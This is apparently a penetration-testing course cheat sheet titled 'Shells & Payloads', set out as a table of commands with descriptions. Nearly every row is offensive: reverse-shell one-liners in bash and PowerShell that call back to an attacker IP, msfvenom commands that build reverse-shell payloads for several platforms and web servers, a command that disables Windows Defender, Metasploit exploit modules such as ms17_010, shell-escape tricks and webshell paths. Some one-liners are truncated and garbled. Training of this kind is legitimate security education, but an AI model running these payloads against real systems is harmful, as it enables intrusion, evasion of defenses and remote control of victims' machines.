Shells & Payloads

Commands	Description
xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt!	CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol
env	Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use
sudo nc -lvnp <port #>	Starts a netcat listener on a specified port
nc -nv <ip address>:<port>	Connects to a netcat listener at the specified IP address and port
`rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f	/bin/bash -i 2>&1
`powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535	%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
Set-MpPreference -DisableRealtimeMonitoring $true	Powershell command used to disable real-time monitoring in Windows Defender
use exploit/windows/smb/psexec	Metasploit exploit module that can be used on a vulnerable Windows system to establish a shell session utilizing smb & psexec
shell	Command used in a meterpreter shell session to drop into a system shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf	MSFvenom command used to generate a Linux-based reverse shell stageless payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe	MSFvenom command used to generate a Windows-based reverse shell stageless payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho	MSFvenom command used to generate a MacOS-based reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp	MSFvenom command used to generate an ASP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp	MSFvenom command used to generate a JSP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war	MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
use auxiliary/scanner/smb/smb_ms17_010	Metasploit exploit module used to check if a host is vulnerable to ms17_010
use exploit/windows/smb/ms17_010_psexec	Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010
use exploit/linux/http/rconfig_vendors_auth_file_upload_rce	Metasploit exploit module that can be used to obtain a reverse shell on a vulnerable Linux system hosting rConfig 3.9.6
python -c 'import pty; pty.spawn("/bin/sh")'	Python command used to spawn an interactive shell on a Linux-based system
/bin/sh -i	Spawns an interactive shell on a Linux-based system
perl —e 'exec "/bin/sh";'	Uses Perl to spawn an interactive shell on a Linux-based system
ruby: exec "/bin/sh"	Uses Ruby to spawn an interactive shell on a Linux-based system
Lua: os.execute('/bin/sh')	Uses Lua to spawn an interactive shell on a Linux-based system
awk 'BEGIN {system("/bin/sh")}'	Uses AWK command to spawn an interactive shell on a Linux-based system
find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;	Uses Find command to spawn an interactive shell on a Linux-based system
find . -exec /bin/sh \; -quit	An alternative way to use the Find command to spawn an interactive shell on a Linux-based system
vim -c ':!/bin/sh'	Uses the text-editor VIM to spawn an interactive shell. Can be used to escape "jail-shells"
ls -la <path/to/fileorbinary>	Used to list files & directories on a Linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute
sudo -l	Displays the commands that the currently logged on user can run as sudo
/usr/share/webshells/laudanum	Location of laudanum webshells on ParrotOS and Pwnbox
/usr/share/nishang/Antak-WebShell	Location of Antak-Webshell on Parrot OS and Pwnbox